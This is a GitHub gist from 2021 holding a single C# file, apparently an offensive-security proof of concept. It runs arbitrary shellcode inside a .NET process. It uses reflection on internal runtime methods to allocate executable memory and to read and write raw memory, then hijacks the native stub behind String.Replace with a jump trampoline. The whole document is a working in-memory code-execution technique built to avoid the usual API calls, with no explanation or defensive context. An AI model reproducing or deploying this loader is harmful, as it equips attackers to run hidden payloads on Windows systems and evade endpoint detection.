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@xpn

xpn/DogFoodExec.cs Secret

Created May 3, 2021
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using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Linq;
namespace NautilusProject
{
internal class CombinedExec
{
public static IntPtr AllocMemory(int length)
{
var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32");
var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
var ptr = VirtualAlloc.Invoke(null, new object[] { IntPtr.Zero, new UIntPtr((uint)length), Internals.AllocationType.Commit | Internals.AllocationType.Reserve, Internals.MemoryProtection.ExecuteReadWrite });
IntPtr mem = (IntPtr)ptr.GetType().GetMethod("GetPointerValue", BindingFlags.NonPublic | BindingFlags.Instance).Invoke(ptr, new object[] { });
return mem;
}
public static void WriteMemory(IntPtr addr, IntPtr value)
{
var mngdRefCustomeMarshaller = typeof(System.String).Assembly.GetType("System.StubHelpers.MngdRefCustomMarshaler");
var CreateMarshaler = mngdRefCustomeMarshaller.GetMethod("CreateMarshaler", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
CreateMarshaler.Invoke(null, new object[] { addr, value });
}
public static IntPtr ReadMemory(IntPtr addr)
{
var stubHelper = typeof(System.String).Assembly.GetType("System.StubHelpers.StubHelpers");
var GetNDirectTarget = stubHelper.GetMethod("GetNDirectTarget", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
IntPtr unmanagedPtr = Marshal.AllocHGlobal(200);
for (int i = 0; i < 200; i += IntPtr.Size)
{
Marshal.Copy(new[] { addr }, 0, unmanagedPtr + i, 1);
}
return (IntPtr)GetNDirectTarget.Invoke(null, new object[] { unmanagedPtr });
}
public static void CopyMemory(byte[] source, IntPtr dest)
{
// Pad to IntPtr length
if ((source.Length % IntPtr.Size) != 0)
{
source = source.Concat<byte>(new byte[source.Length % IntPtr.Size]).ToArray();
}
GCHandle pinnedArray = GCHandle.Alloc(source, GCHandleType.Pinned);
IntPtr sourcePtr = pinnedArray.AddrOfPinnedObject();
for (int i = 0; i < source.Length; i += IntPtr.Size)
{
WriteMemory(dest + i, ReadMemory(sourcePtr + i));
}
}
public static void Execute(byte[] shellcode)
{
// mov rax, 0x4141414141414141
// jmp rax
var jmpCode = new byte[] { 0x48, 0xB8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xE0 };
var t = typeof(System.String);
var ecBase = ReadMemory(t.TypeHandle.Value + 0x28);
var mdcBase = ReadMemory(ecBase + 0x20);
IntPtr stub = ReadMemory(mdcBase + 0x18 + 8);
var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32");
var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
var ptr = VirtualAlloc.Invoke(null, new object[] { IntPtr.Zero, new UIntPtr((uint)shellcode.Length), Internals.AllocationType.Commit | Internals.AllocationType.Reserve, Internals.MemoryProtection.ExecuteReadWrite });
IntPtr mem = (IntPtr)ptr.GetType().GetMethod("GetPointerValue", BindingFlags.NonPublic | BindingFlags.Instance).Invoke(ptr, new object[] { });
CopyMemory(shellcode, mem);
CopyMemory(jmpCode, stub);
WriteMemory(stub + 2, mem);
"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);
}
public static class Internals
{
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}
}
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